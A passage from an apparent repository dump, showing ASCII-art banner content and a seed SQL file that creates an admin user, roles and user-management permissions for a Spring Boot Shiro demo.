;GEGDDEE#KWW#KWKK#WE##K#K#KKDKGEGGGGjjjjj;:.,..:.:....;,:,;EGLjtjjjjLLLLjLGK;;;;,: ;;;jGDWKG;. .Gjt:,:;: .:   ... : .. : : .   .... :: .........\n .  ... :  . .  : .. .. ..   : . : :GGDEDEWKKWWWEWWKKWWEWWEWKKKDGGGGGjjGjjji;:;:::....::.,:.;;jGLtjttjtjtj;;;;j;;t;;..;;;jiifDW;:.:Ei; :.; :  : .. .. :.........:... ..  : :... : .:\n .. ... . ..  : :   .   .... . .: ..GDGEEKKK#KKKKWWWW#KWWWKEWKKGLL...;jjfjji;,;::.:.. ...:;:;;,;Gtjtj;j;;;;;;;;;jtt;:.:.;;itjjLL; .L::..;...  : .. :: .. :  : ..........: :  : ....:\n. . . ..: .... . ........ .... :....LKLKDKKKWWWWWEWWWK#W#WKKKEELL;:;..,;jjjt;;.;.:.:.:....:;;;;iLjtjiti;;;;,,.;;tji;;:.:;t;;;.;;;..j:. .:. :  :  .....  : .. ..... : ..  : :: :...:\n .. . ... .. : .. :. :: .... ...: :.iGGDEKKWEWWWKWWKWWK#EWKWEKGLt,tt...;;jjj;;:;;:... :. .;;,;;jGjttti;;,,,;.;;ijtt;...:;;;;;..:. .j:  :; .... . ...: ...... : .. : :: :: .::..: ::\n . : . . : .. :: ..: :: :: .. : ....;jGGDKDKKKWKKK#KWWWWK#KKGLLtt,tj,..:;;;;;;:,,:,:.. . ..;,;LKLttjt;t,.:,;:,;ttjt;:...:,.:.:.: . j: .:.  :  : .... :  : :: .. ......:  : :: :..::\n. . ....: : : . : :..  : ....: :: :.:;fGDKDEWWKWEEWK#KWWWWKEGGjf;,ti:,...;;;;;;;:,:..:..:..,;jKELjttt;;;;,,,.;;jtj;;::....:,,:...:.j:..:.. .  .. : .. :: : ........: : ::....:  :  :\n :.......  :...:  :..   :...... ....::iGEEEKEKKWKWKWWK#KEWWELjLj;,,,j;.:.,;;;:,::;:.:......;;KKGLtttt;,;,.;,;:;jjj;;.....:.::... . f;..: ::.........: :: .......: :.:.:: :.......::\n. .... .....: .. :  :  :  : ..... : .::GGDKEDWWEWK#EWWWK#KWGLjjf;;.tLL. ..;;;;;:;:,:...:. .,jEWGLtttt;;;,;:..;tjLj;;:.:...,:.:..: .ii.:.......... :  :  : :: :: :::.::.::.....::.. :\n.......  : . .....  ..: ..:..... .: .:.iGGKKKKKKK#EW##K#WWKGLjtLt,.;ff; .:.;;;;;;:;;:..:.:.:,LEELtjti;;,,::.;ttjtj;,:...;,:::.: . .i;;:::.::.:...:....::: : :::..:.::::..: :..:: :.:\n..: :: :: ... :...  :  :...:..:::..:...;DGEKKEWWWKWWWWWKKKKLjjLfj;.,;t;.:.;,,;,:;.,:,,...::,:jDELtttt;;;:,.;;Ljtjj;;..:.;;.... :.. ;;;::.:.....:..:.:.: :: : ::..::::::::.:.::.::...\n.: :::...................:.:..: : :..:.:jGDEEWWKKK#K##W#WWKLjjjtjt....;..;.;;;;;;.,,..,.:...,;GELtjtt;,;,,:;;jjLLLj;,;..;,,:..: : :;:;:::::::.:.:..:.: :.::::..::.::.::.:.::.::::.::\n::::::.:.:.......:.: :.:.:::::::.:...:::.;GDDEKEWKWW#WW#KKKLLjtjtj;....:,,;;;;;;;.,,:.......;;LKLtjtt;;,,;;it;tiij;.:;: ,;;,..:.: .:.:;.::::...::.:....::.:.:::...: : :..: ::.::...:\n::::::.:: :::: ...:.:.:.. :::.:..:.:.....:LGEDWWWWW#KWKWKEEjjtjjjLt;.. .;;;;;,:,::::..::..:.:jKELttt;;;;:;;ttt;t;;:,:...:;;;.:.. .:::..::  ::.::.:.:::...: .: :.:..:.:.::.:..:::.:..\n.::.:.: ::: : : :.:.:.:..::...::: :.:..:.:LGDDE#WWW##WWWKKGLjjtttjLt;:.:,;,;;;;,,;:::.:..:.:,LGEGjttt;;;;t;tj;ttt;;...:.:;;,:.... :...;..::: : :: : ...::.:: :....:....:.: :.:  :...\n....: : .: :.:...:..: : :::....:: ::..:: :jDWKWWWEWWWWKKDDGjtjttit;;;;;;tt;t;;;,;:,.:.. :..:,;LGLttjt;;,;tLLDDDGGDLff;..::;;:..:. ..: .: :..::: ... ..:: : ...: ::........ :: :.: ..\n.....:.:: :.: :...:: ::.. : :..:: : ..::..fKWWKWWWKEKKKEDGGjji;;t;;;,;;;;ttt;;;;.;....:..:,,;tGLLtit;;;.;tGELLLGLfffLjt,.;;,..:. ::...;... :   :: :. :.: ::: :............:  : .....\n :: :....: :.: ..:  :.....: :: ::.........iEWWWKWWKKKEKEGGGj;jt;i;,,:.;tijt;;;;;;.;.:..:...,:tGLjtti;;,;;;LGLjt;;;t;ffft;;,;:.... :: :: : ....:  : .: ....  : ............ :: :: ::\n:  :  :  :.........: ::...................;GKWEKEKEKEGGGGGjjti;;;;,,.;;;tttjt;;;,:...:...,:;;;LLtjttt;;.;;;DGL,;:...:tfLf;;:..: ..  : :...............:: :  : ...........: :: :: ::\n :: ::.. ::  :  : :: :: :: :  :  : :: :...:iDKGGGGGGGLGjjjjti;i;,,;:;:,;jjttti;;,,,..:..,:,,;:.;jtttt;;,;;itLDGLfft,,,Lft;;,.... :  :. : .. . :  : :...: .  .. :  : :: :: :  :  :  :\n........: .....: :  :  :  ...: :: :  :  :  :LGGGGGGGLLjjjtj;jt;;,;,,.,;;tjtjt;;;;;:,::..::,:,:..;;;i;;;;;;ttjfGDLffjjjjt,;,;:.:.: .. : : .. :: :: ....  : : : : :: .. :  : .. :...:\n :: :: ::.....: : :: :: :: : .......: :: :: ;i;ijjjjjjjj;jtt;i;;,,::,.;;;jjiit;;;,,:..,.,.:;,...:;tiit;;;;;itjfGGLffjti..;;..... .. :. ...: . :  .. ..   :  .. .........: .. : .....\n :: :: :: :  :  : :...: ... :: :: :  :  :  . ::.:,:i::::::;t;;;,,;;::,,:;itjitit;;;;,:,:,,:,;  :..:,;ti;;t;;;;;,;;;,;....;.:..... ::   : .. :: :: :.. :: ... : : .. :..  .....  ....\n:  .......... :: :  : ..........: .. :  .. :..::i;,:;::::.:;;;;,;:::..:.,;;ttt;;;;,;;;:,,,,,, : ...:;t;jiit;;;;;;;,;...:.:..: .: .. :.. ..: :........... .  : .. ....... : :: :: ::\n :: :.......... : :: :: :...  .. : :: :: :itfGDGffjii;::.:. ::;;.;:,:.,::,;;tittt;;;;;;,,,:;.. : ...;;ti;t;;;,,:.::.:: .:.:.... ...: :: :  ..: .. .... ..... :: ::  :... :   : :   :\n .: ...... :: :: .......  ..  .. : :...:ifLDDDWDWWEWKWKWEDf;. : .;:::.,.,;,;;;;t;;;;;;;;;;. . : ..:.:.;;tit;;;:,:..... :.... :  : :: : : . :   : : :..... :..  : .. . :  ...: :.. ..\n :..  .. : :... ..... ....... .. .. .. ;tfGGDEEEKWK#W#KWWKKEGf:.. :,.:...:::;;;:..  ...: ...... .:. ..:;;itt;;:;.::.::. :...: . ..   .. .  ........ . :: ..: .. : : :: .. : .... ::\n . : ..... .. ... . ..... :  .. .. : : iffDDDDDWKKWWKEWWEW#KKKKi...:::,.::;,,:. .. ...  .. ..: ...:.:::;;;;jit;;:;.: ......  ..: ..: ... :..   : : :: ....  : : .. .....:  : : : . .\n..: . : . .........: :.. ..... :: ..: :jffLDEDEEKKKK##WWKKEEKKEDL: ..:,:::.::; :: :.. :..  ... . :.:.:,,;;;itj;;;.:.....:: .. :... ... ..   : :  :  : . .....  : ....: : : :: .. ..\n . ....  ...: . :   ... .... . . ....ijLfLGDDDDKKWWWWKWKKKWEKWEEEKD: ..,.:.::. :..  :.:.. ..  :  :.::.;.;;iititt;;;;:::... :.........  :   :  .....  : : .. :  .... :..  : .... : .\n .. ...  ... : .... : : .. .....: : itjfGDDDEEEKKKWEW#KWWKKWEWEEKDDGi :.::,: .. .... . . : :   : .::.::;;tttjttiti;:;.....    :.. . : . ..  : :   : ......  : : :: :   :.... ......\n..: : .. :   : .  ::   : . :  :   ..fLfDDDDEEDKDEEKKKWWWKWWWEWEEEEEEDj..::.;:  ::  . :  .  : .. :.:.:.;;;titjtit;;:;:...:.... :....: .... ...:  : : .   : ...  : .. ... ...  .... .\n ....... . ....:  :: . :  : . :   : tGfDDEWEWEWWW##WW###W###K#KKEEEEDEf:.,:   : .. ...  .. : ....:.,:,:;;tit;t;,,,.,...... .:    .... . : . .: . .  . . :  ...: . :   ... ... . . .\n .. :: :: : . . : .... .........:  :ifffDDEEWEK#KEW#WK#WWWW#W#WWEKEEEEKf.:.  : . :   : . .. ..  . :,:;;;jttt;;;;,::....:. :  : : .. : . ... ... . :  ... ..  .  .. : .. . ..... .. .\n........ : .. :. : . ....: ........:ffffGLDDDKKKWK#E##W##W#W####WKWDEEEEf ..: ... :.. .. : ... : ..::.;;;j;;i;;:;::.::....    .  ........ : . ... ........ : .... . .. :...  . . ..\n .. ::   : .... ... .  .. : :: .:iiffffGDGDDEDKKKK#KK#WWK#KK#KKEW##WKDWDEi.... .... ... .....  : ...:,;;tti;i;;,;.:.,::.:,:.  :. : .......: .. :...  : ....:   :  : :: .. :  :  .\n....  : ....: ... .: :..   : .::tifDGLfGDDDGDDWEWKWKWWWWWWK#WK#WEKK##KDEWEi  : :.. .. :...: .:  ...,;;;;iti;;;;,.;:..:.:::::..  : ::..: :  :  : ..... : : .........:. :...... ::..:.\n..: :... ....... ........... iiiitfEDDDfGDGGDDEEWWWWWWKKWWWK#KKEWEEED#WEDDG: .... :: : ....... : . ,;;;;j;t;t;;,;..:::..:.;....: : ... : .. :: ....::..: :  .....: : ....:.  : . ..\n... :: :: : ......:: :...: :ititifLDGDfLGDfGLDWEWWKKK#EWK#KKKK#KKKKEKDWKEDDf.............  :  : . :;;;;tt;tt;;;:,..;..::.;.;;.:: .:::..::. :..:.:.....:..:. :.....::..:::...::.:: ..\n ::.:: ::... :. :....:...:tDLifjtfDEDGGDDffffDKWEEWEWWEWWEWWEKKWKKEWEKEDEEDG:.: .:::....:::.:.: . .;t;ttt;ttt;;:;..,.:.,.:;;;;;.:. ::..::.:.:::::.::::::::::..:::.::.::::::.:.::.::.\n: .:  : .:::.:.:: :: :: :iDDfifffGDEDLLDLLffLDKEKKEWEEWEKEKKKWKKWEKWEWWEKDDLL..:: :..::::.:: .:  . ;t;itt;tt;t;;,;,,.,,,:,;,;,;;;::   ::::: ::..:::..:::.::.::.:.::::.:.:.::::::::::\n.: :::.::: .:.: ::..:.:;iGDLtfffLDGDfLGLGLffGDKEKEWEEEDEKKKKKKEEWWKK#KKKKEDDLfff;::.::.:.:.::: :  .;;ti;ijit;;;,;:.,..,:;;;;;,;;:;::.. :.:::.::.::::::.:::::::::::.:.:::.::::.::.:::\n.:.:..::::.::::::.:.::tfGGfftDffLDfDGfffLLfDKEEDEEDKEKKKKKKEWEKWKKEWEWWEWKEKDDLDi::::::.::::: . . .;;;;i;j;;t;;;;..:.::;;;;;;;i;;:.. :..     .:::::::;::::;;:::::;:;:;:::;:;::;;::;:\n:.:::::.:.::::.:.:::iitDfGfGfLffGLDDfLGGffDEDKEDEEWKKWEWWEDWEKKKKKKKKKKKKWEEEDDLi::;::::::::. .....:;;t;;titit;,,,;.;,;,;;;;;t;;;::.:..::.::.  ::;::;::;i;,:ii;i;i:i:::;;:::;:::;,,;\n:::.:::::::.:::.:::iitfDfGDfDDfffDGDLDLLLGKDKEKEEKKKKKKKKKEEKKKK#KWKKEEKKEWEDEDLLi;:;:;:;::: . .  .,;;;;j;tt;;;;;;:;::;;;;;;;;;.:;::.:::;;;:::..;,:ii,i,;iiii,iiiii:i:i::i:;i:ii;iii\n;iii;;:;;:;::;:iiiijffKffGfLWGfLDGDLLDGDDEEEEDWEKKKKKKK#EKKKWE##WKKKKKKKEKDEDEWEEDDii;i::  : : .: :,;;;;j;t;;t;;:;;;;:;:;,;;;;;;;;:;,:;;;;::::.:.::ii:i,;,;;i:,i::i:i;,;:i:::;,,;ii,\n,;,;,,ii;,;,,:iiittttGDtGDfD#LLGLDfDLDGDEEDEDWEWEKKKKKKEEKDKKKKEWW#KKWKEWDKKKWEWWEEEGt:     :...:. ;;;;;;jtt;;;:;;;;,;;;;,;;;;;j;:,,:;,;;;;,::.:: :::;:;;;::,;;:i;,;:::,:::;::,:i::;\niiii;;;;:i,;;iG,itiffWLfDLDWEDfLGDDLDDDEKKEEEEEKKKKKKKKKEWEKKKKWKKKKKWWEEKKK#EWEEKDEEDG . ...:.:. :,;;;;t;;;;;,;;;;;;;;,;;;;itj;;;:;;;;;;;::....:  ::,;::,;:;::;::::::;:::::;::::;i:\n;,,;;,;ii:i:LEttijffDWffDDDWWDGLGDfDGDEEDEEEKEEWEKEWEKKKWEWWEWEE#WWEWEEWEKE#EWEKDEEDEDEi. ...::;:..;;;;t;;;;;;,;;;;;;;;;;;;;tij;;:;;,;i;;;;.:.:. .: ::::;:::::::::;::::::::::::;::::\n:::::::::::jGiittffDKWtLDEWKKDLDLLDLGDDEEDDKKEKEWWEWEKKKWEWWEWKWW#KWKKEKK#KKEWEWDEEDWDKEDj::..: : ;,;t;;;;;;;;;;;;;i;;;;;;;;;j;;,:;;;;;i;;,:..:.: : ::::::::::::::::::::::::::::::::\n::::::::::tKjijtffjE#EffDKKKDDGfGLGLDDEKDEDEKKWEWEWEWWEKKKKW#E##KWEWKKEWWEWEKEEEKKEKDEDEED.:::.:.:;;;;:.;;t;;;;;;it;;;;;;i;it;;:;;,;;;;;,;:.:.. . . :::::::::::::::::::.:::::::::.:.\n::::::::::D#iftffffWWDfGDKKKEDLDLLLLLDDDEEEWEKKEWWEWEKKKKKKKKW#WWKKKKKEWKEWEKKKKEEEKDEEDED::....:,;;;,:;;t;;t;;i;;;i;;;;;;;;j;;,;,;;;i;;;;;.::... : :::::::::::.:::.:.::::...::.:...\n:::.:::::EKfffjfffGWWLjDDEWDEDGfLLGGGDDDEEKKEWWEWWEWEKKEEWEWW#KWWKKKWEWWKWEKKKEKEEDEDKEKDED;..;::.;,,;;;t;;;;;;;;;;;;;;;;;;;;;;;;:;;;i;;,;:.::.. . .:.::::::::::::::::.::.:..::::::.\n..:.:.:.jWGfffffjfD#DDfDEKKEEDLDLLGLDDEDEKDEKKWKEEWEWWEWKKKKK#W#EWKWEWWK#WKKEKEEEEEEKDEDEDDt ::.;;,;:;;;;;;;;;;;;;;i;;;;;;;;,;,;:;;;i;;;;,.:.. :.:. :::.:::.:...:..:::.::.::::::..:.\n:::.:::.DKfGfffffLEWDDfDEKKEEGfDLDLGDDEEKDKKDWWEWWWWKKWEE#W#WK#WWWWKK##EWWEKKKEKEEEDEKEKDEED:..;:;;,;;;;;;;;;;;;;;;;;;;;;;;,;;;;;;;;;;;;,;:.:.:  ....:::: ::::::::::::::::::::::::.:\n:::.::::WfDLLffDfGKEDDfDEEWEDGDDDGGLDEDEEKKKEKKEWWEWWEWEEW#E#WEWWWKWWWKKKEKKKEDKKEWDEKDDEEEDG,::,:;,;;;;;:;;,;;;;,;:;;;,;:;,;;;;;i;;;i;;;,:.::. .....::.:..::::.::::::::;::;:;:;::::\n: :::: iELDDfffGfDWDGEfDDEDKEDLDDfDDDEDKEDEDKKKKWE#KWWWW#KK#WE#WW#KK#E#EWWEWKKKKKDEEKDEEDKDED::;:i;;;;,;:;::;;;,;;,;;;:;;;;;;;;;;;;;i;;,:,.:...... .::.:::..:..:::::::;;:;,;i:i,;i;:\n:::.:::fGDDDGffLjD#GDEfDDDKEDGDDLDGLEEEDKEDKKKKKKKKKKWEWWK#E#KK#WKW#KWKWEKKKKKKEKKKKEKDDEDDDD.:;GG;;:;;::;::;:;;:;;;;;;,;;;;;i;;i;;j;;;;;::.:: .. ..:.:.:.::::::.:::;;iiii;i;i;;i;i;\n.:::...DGDEWLtGffD#LDDfGEEDEDLDDDfDDDEDKDEEKKEEWKKWE#WKKKWEWKK#K#W#K#W#K#WKKEWEWKEDDKDKEEDEDE::jWG;;;;:;,:;;,;;:;;:,;,;;;i;ii;;;;;i;i;;:.:... :  : ...:..::..::::::;:iiiiiiiiiiiii;i\n:.::..fWDKKKLfDtLKWLKDfDDDDDGLDDDGDDEWEDEKEWEKKKKE#EWWKWKWWKKKW#KEWK#KWW##KKKKKDKDEEEEEDEDDDD::;;it;;:;:;;::;;;;;:;,;;;;;;;;tji;;;iti;;:...: ...... ....: ::......::;;iiitijiiiii;i;\n.:::.:GWEKKKDfDiDEWGKKfGDEDDEGDDDGDEKDEKKDKEEWWKKKKWEK#KWWKWWWWW#KWWWKWKKKKKEWEKKEWKKEKEKDDED;:::;;;;:;:::;;;,;:;;;;;;;;;i;;;jji;iti;;:;;::.:..  . ...:...: :.:.:::::iiiiiiii;iiii;i\n:...:iKDEW#ELDDiDWEDEKfDDGDEEDDDDDDEEEKEDKKEWEWKWWKKW#EWWWKKWE##KWEWWWWW#WWKKKKKKEDEEDEKDEEDDi.:;;;;:;:;;:;;,;:;;;;;i;;;;;;;tLjj;;;t;;;::.. . : ...:: ::....:  :.:.;:i;iiii;ii;;iii;\n.....fWLW#WEDDDjDKDKKKfDEDEWDDDEEEKDEEKEDWKKK##EWWKKWW#WWKKKWW#WK#WKWW#KWWWWWEKKKKEKDEDKDEKDE;:;::;:::;:;:;;;:;;;;;;;;;;;,;;jLj;;i;i;;;,.:...: : :.::..: : ....:.::::;iiiii;i;ii;i,;\n:..: GWLWWW#DDLfDDLKKKLGDEDEDEDDEDEKKDEWDEWEWKK#K#KWWWK#KKKKWWWEWWK#WKKK#KKEEKKKKDEEKDKEDEEDEi;:;;:;:;:;:;;;;;;;;i;i;;;;;;;;jGji;ti;;;,,:...:. .. .. :  :.::......:::;iii;iii;i;i,i;\n :..:DEDW#WELEffDDDWKKfDEEDKDGEDDWDKDKEEWEEWE#KKWWK#W#WWWEK#W#WK#KKK#KWEWWEWWKKKKKKEKEDEKDDDEj::;:;:;:;:;;;tLGGGLL;;;;;;:;,;LLLti;t;;;;:.:.. : :...::..: : t,....:::;:i;ii;i;,;i;i;,\n :...EEK##WEDDfLDEEW#DfDEEKDGDDDDKDEDKEDKWWWWKKKKE#WEW#EEKEWWW#K#W#KKWKKKKWEWKKKKKEKEEEEEDDEDj;:;:::;,tLEEEEEEKEKEDj;;;:;;;;ELj;i;t;;,:.:... : . .:::....,D,: ...:::;ii,ii;,;,ii;i,:\n: ..iWDE#K##EDffGDKKWELDDDEDDDEDKDEKKEEKKEEWWK#WW#KW#WW#WEKW#K#WWWWK#W#WEKKWKK#KKKEEEDEEEDEDEi:;::,;fGEEEEEEEEEEEEEDG;;;;;;;GGjtti;;;;;:.:: : : .... : .,jD..::...:::,;ii:iiii;:iii;\n : iEDEWW#WEEDjfDEE#EDfDDEDGDDEDDKEDKEWWEWWEWKKEWK#WWW#WEKW#K#W#W##KK#EWWWWK#WEWWEKEDEDDEWEEGj;::;jLEEEEEEEEDDEEKWEEEf,;,;;;GLjt;;i;;,:.:. .  .  :.::..,iDL :  : :::;ii;i;i:;,iii;;,\n::iWWWEE#K#WDLfLEDKK#DGGDDGDEDEDKEEKKKKKWWKK#KWW##WWW#KWKK#W#W#W#KWW#EWKWWKWWE#KKEKDEEDEDEDEDi;,tLLDEEEEEEDEDEDEEKKEEDEf;;;iELjij;;,;;,:.::..: :: : . ;ijG, :  :..:::i;,,;ii;i;,;ii;\n :W#KWEEW##WKLfGDKKEWDLDDDDEDDEEKDKDKKKWKWKWWWE#KK#W#WWWWWWW#KWWWWWWWWE#WWWWK#K#KKEEDEKEEEKDEffLGEEEEEEEDEDDDDDDEEWKKEEDDf;fDjtiti;;:;.:...:. .  ...:iijDi. : . ::::;ii;i;i;i;,i,;i:\n:f##DWDWWWWKELfGDWWWEELDELDDEEWEDEKKWWWKWKKWKKWEWK#K##EKWW##K#EW#WEWWWWKK#KWKKWEKEKEEEEKEDEKDLDEEEEEEEKDDDDDDDDDDEEKEEEDDELLGLjt;;;:,::.:.. ..: ....,ijDf....  : :.::;iiiii,ii;;iii;\niEW#DWEEW##KDDfDEKKWKDLDDGDEDWEDKEWE#WKKWEKKKEWW#W#W##WKW#W#KWK#E##W#WW#WWWWWW#WKEDWDKEDWEEDEDDEDEEEDEDEEDDDDDDDDDEKKKKEDEEKLjj;i;;;;::.:..... : ::.jijDj.: :.: :::::i:ii:i;;iiiiii:\nEWW#D#EEW#WWDDfDEKKWEDfDDDEDEWDEEKKKK#WKWKKKKKWWW#W#K#KWW#WWE#EWWW#E#W#WKWWWWKKKDEKEEKDDEEDWEDEEEEEEEDDEDDDDDDDDDDEEKKWKEDDWLjt;;;,;:,.:..... :.:.,tijLf. :.......::::;,:;,;,;;;,;;:\nK###DWKK#W#EELfDK#KKKGGDEDDEWKKKKEW##WWWWWEKEW#K#WW#WKK##K#E#WKW#WWW#KW#KK#WKKKEKKDEDEEEWDKKDDEEEDEDDDDDDDDDGDDDDDDEEEKKEEDEGLt;;;;;.::... ... .,,iijjDi :  ....::::::::i:::;::::;::\nEWW#D#WDWWW#DLLDKWEKKGGDDEDEKWEKKKWKWW#WWEEWEWWWWWWWWWE###WW#KKWWWW#E##K##WWWWEEDEEEDKDEEKKEEGEGEDDEDDDDDDDDDDGDGDDDEWKWKEEDLjt;;;;.,....::.....,t,ijfD,...: :.: .:.::::::::::::::::\nWEW#E#WEW#WWDGLDKKKWDLLDGDEDKWEKK#WW#W##WKEKEWW#KWWWKWWWW#W#WEW#W##K#WW#KW#WWEEEDEEDEEEKKKEEDKEDDDDDDDDDDGDGDDDGDGDDDEEKWWEELft;;,;;:...:....: .i,ijGDD.... .......: .:..:.:::.:.:::\nE##WE#EWWWKWDDfD#W#WELDLGEEEKKKEK#W#WW#EWEWEWWWWW#WWKW#WW##WWWWWWWWWWWWW##KEEDKEKKKEEEEK#WWEEWWEDDDDDDGGGDGDDGDDGDDDDEKKEKEWDft;;,:.:.: .... . .i,jfDDf: ....::..: :.... ::...:::...\nKE##W#WEW##WDGfDWWWKDLDfDEEEKKEKKWKW#W#WKWEWEWKK##EW#W#K##WW#EK#W##W#WWWWK#WEKEWEKEDEEKWWEEDK##WEDDDDGDDDGDGDDGDGDDDDEEEKWKEEEf;;;::.::.: ... ..iijLDDi: :..:  :  : ::.:: :.:.  : :.\nWE#KKWWD#KWEDGLEWWWEKfLDDDKKKKKK#W#WK#KWKKEWWKW#WK#WEW#WWW##WE##K###E##W#KKEEEEKWEWKEWKWWWEE###WKDGGGDGDGDGDDDDGGGDDDDEEKEKKEED;::;:.....:.. ..,iiLLDD;......::..:... ...: : ::: ::\n#KK##WWEWWEWDDLEW#KEEfDDEKKKKWE##W#WK#KWKK#KW#WWWE#W##W#W#WW#EWWW##WWWW#KEKEEDEKKWEEWW#WEEDE####WEDGGGGDDGDGDGGDGGDDDDEEEKEWKEEf;::.:. .: . . .iijLDDi.: : ....:..: :: :..: ..:: ::.\n###KW#WEW##WDDfKEW#WDLLDKKDKEWWKWW#K#W#K#KKWKKKWW#K#KK###W#W#K#W#KK#W##W#EKDKKEEKKKKK#KWWEDKWWW##WEDDGDGGDGDGGGDGDGDDDDEEKKKKKKD,.;:..: .......tjfGDD,....:: :.....: ....: :.:  : ..\n#WW#KWWDK#KWDDLD#W#EDfDDKWEWEKK#W#K##K#EWKWKK#KWWKW#KW#W#W###KKWWWW##W##WWEKDEEWKKKW#W#EKDEE###W#WKDGDGGGDGGDGGGDGDGDEEEEEKKEEKDf,,:.:.:. ... ,jjLDDf ::... :.:....:.:.:...:..::....\n#K####WD#E#EDDLEW#WEDfGEWEWEW#K##K#WW#EWKKWEWWWK##W#WW#W#WW#W#K#K###W#WKKEKDKEWK#W##W#WEDEKEW#WKWW#KDDGGDGGGGDDGGDDDDDEEKKEKEKEEEi;.:.:.. ....ijLLDD,.. :....::....:..:....:...: ::.\nW#K#WW#EK#WEDDfK#E#WDfDDWWEKKW#KW#K#WW##KWWWKWE#KWWWKK##W##W#WW#W#WWW#KKWKEKKKKKWE##W#KEDEEEKW##WWW#DGDDGDGDGGGGDGGDDDEDKEKEWEEEDL,:.:. : . .,tjfDDD :  : :: :: :: :  :  :....:: :.\n######WE#WEKDELEWW#EDfLEWKKKWW#WWWW#W#KKKKE#WKWWKW#W###W#W##WWW#K####KWEKKKKKKW##W##KKKDEKKEKWWWW#WWEDDGGGGGGDGDGDGDDEEEEKEKKEKEEDt.:.:..... tjjfEDD :  ... :  :..............  ...:\n#WWW#E#D#WEDEDLWWWWKDffKKWKK#W#WWWW##K##EWEW#K#K##W#W#W#W#WK#WEK##W#EKWEKWEW#K#WK#WKWKEEEDDEWWKWWWWWWKDDGGGGGDGDGDDDDEEEEEEEEEEEEDD :.:..:.: jjtDDDf. :.... : : :.... :  ..... ....:\nW###WW#EE#KEDDfEWWKKDfDDKKKWWK#WW#K##W#KKWWWWKKW#WWWKW#####W##W##W#KKKKKEEWWK#E##K##WWDDEDEDEWWEWWWWWKEDDGGGDGDGDGGDDEDEEKKKEEEEEED..:. . . .iijEDDj : .. ...  . .. .:  . .. .  .\n#WW###WKWWEDEDLKW#KEDfDEWKWK#W#KW#WWW#EWKKWWWWWKKK#W#W#W#K###W##W#KKKKKKKKWWWWW##W#KWEEEDEDEKKWKWWWWW#KDGDGGGGGGDGDDDDEEEEEEEEEEDEDi. :..::..jjjDDG,. . ..   : ..  : . :. ..: : : ..\nW#K#W##EWWWEDDLKWKKEDfDEEEW#KWK#WW#WK#WKWEWWWWW#WK#WWW###W#K###W###EKKW#WWE#WWWWWWWWEWDDEDDEEWKKWK#KWWWEDGGGDGDGDGDDDEDKEKEEEEKEEDDf,:. . . .tijDDf..   .. .. ..  :   .. : . . .\n#WWWW##EK#KEEDfKWKWEGfDEKKW#KKWW#K#KWWWWWEWW#E#K##K#KW###W#K#####KWEKKW#WWK##KKWKW#KKKDDDDDDDKWKKKKWW#WWDDGGDGDGGDDDDEDEEEKEEEDEDEDDL, .:...,jjGDDt : .: : ...... :  ... : ....: ..\n#W#W#W#WKKEDDDLKWW#EDfGKK#KW###WW#K#K#KKKWW#KWW#WW#K##K##K###W#W##EKKW#K#E#E#WWWWEKKWWEEDEEDEKKKKKWWKWWWEDDGGGGDDGDDDDEEEEEEKEEDEDDDDj.: ...tjDEDG,. .. . .: .: ....:.... : ... : ..\nWWW#W###EWKEDDLKKWKDDfGKKKW#WK#KWWWW#W#KWWWWEWK#WKW#KW##W###W####WWEWWW#WWE#K#WK#KWKWWEDEDEDEWKWKKKKWWWWWEDGDGGGDGDDDEEDEEEEEEDDDDEDDD.... .tDEDDD, ... :......... :  : .: :: .....\nWW###W##EWEEDDLKEWEKGfDEWW#W##WWW#KW#W#WE#WWWEW#WE#K###WK#WWK###WWEKWW#W#KWW#W#EEKKKW#WDDDDEDEKKKKKKKW#WWWWGGGGGDGDDDDEDEEEEEEDDDDDDDDj. ..;DEDDDL...:..:...:...::.........:..::..:\n##W#KW##EKWDGDfKKKKEDfDKEWWWWW#WK#K#WWWKWKW#KKK#WW#W##W#######W##WW#K##K##KW#KW#WEK#KKEEDKEDEDEWKWKWWKWKW#WDDGGGDGDDDEEEEEEEEDDDDDDDDDL,.. tEEDDDf..: ::..:: ::.::.::::..:..:..:.::.\nWWK#W###DEEEGDLEKKKKDfDEWK#K##W##W#EW#KWWW#KKW#W##WWWW##W#W#W##W#KEWKWW#KWK##W#KEEWW##KDEDDDEEDKWKWKWWWWWWWEDGDGGDDDDDEDEEEEDEDDDDDDDDGL .,tEDKDGf.:.:. :...:. :  :..:.::..: :. :...\nW#W#W###DEWEDGGEDKKEDLDKK#K#WW###W#WK#KWWW#EWW#W##W#K##WW#W#WW##WKKKKKWWWWWWK#KWKKK##KKEDEEDEEEDWKKKWKW#WWWWKDGGGDGDDDEDEEEEEDEDDDGDGDDDD.LDEEDDDj:..:::....::.:..: ::.:.... :...:.:\n#KW#WW##EEKDGDfDEKWEDLEK#K#K##W##K#KWWWWW#K#KWK###WW#W##W####W#KWE#EW##WWWW##WKKKK#WWKKDEDKKEEDEKWWWWKWKWWW#KEGGGGGDDEDEEEDEDDDDDDDDDGGGDjGDEDDDGj.:: ::.::: ::..::...: :.:::.....:\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/resources/database/import.sql",
    "content": "INSERT INTO `user_info` (`uid`,`username`,`name`,`password`,`salt`,`state`) VALUES ('1', 'admin', '管理员', 'd3c59d25033dbf980d29554025c23a75', '8d78869f470951332959580424d4bf4f', 0);\nINSERT INTO `sys_permission` (`id`,`available`,`name`,`parent_id`,`parent_ids`,`permission`,`resource_type`,`url`) VALUES (1,0,'用户管理',0,'0/','userInfo:view','menu','userInfo/userList');\nINSERT INTO `sys_permission` (`id`,`available`,`name`,`parent_id`,`parent_ids`,`permission`,`resource_type`,`url`) VALUES (2,0,'用户添加',1,'0/1','userInfo:add','button','userInfo/userAdd');\nINSERT INTO `sys_permission` (`id`,`available`,`name`,`parent_id`,`parent_ids`,`permission`,`resource_type`,`url`) VALUES (3,0,'用户删除',1,'0/1','userInfo:del','button','userInfo/userDel');\nINSERT INTO `sys_role` (`id`,`available`,`description`,`role`) VALUES (1,0,'管理员','admin');\nINSERT INTO `sys_role` (`id`,`available`,`description`,`role`) VALUES (2,0,'VIP会员','vip');\nINSERT INTO `sys_role` (`id`,`available`,`description`,`role`) VALUES (3,1,'test','test');\nINSERT INTO `sys_role_permission` VALUES ('1', '1');\nINSERT INTO `sys_role_permission` (`permission_id`,`role_id`) VALUES (1,1);\nINSERT INTO `sys_role_permission` (`permission_id`,`role_id`) VALUES (2,1);\nINSERT INTO `sys_role_permission` (`permission_id`,`role_id`) VALUES (3,2);\nINSERT INTO `sys_user_role` (`role_id`,`uid`) VALUES (1,1);"
  },
  {
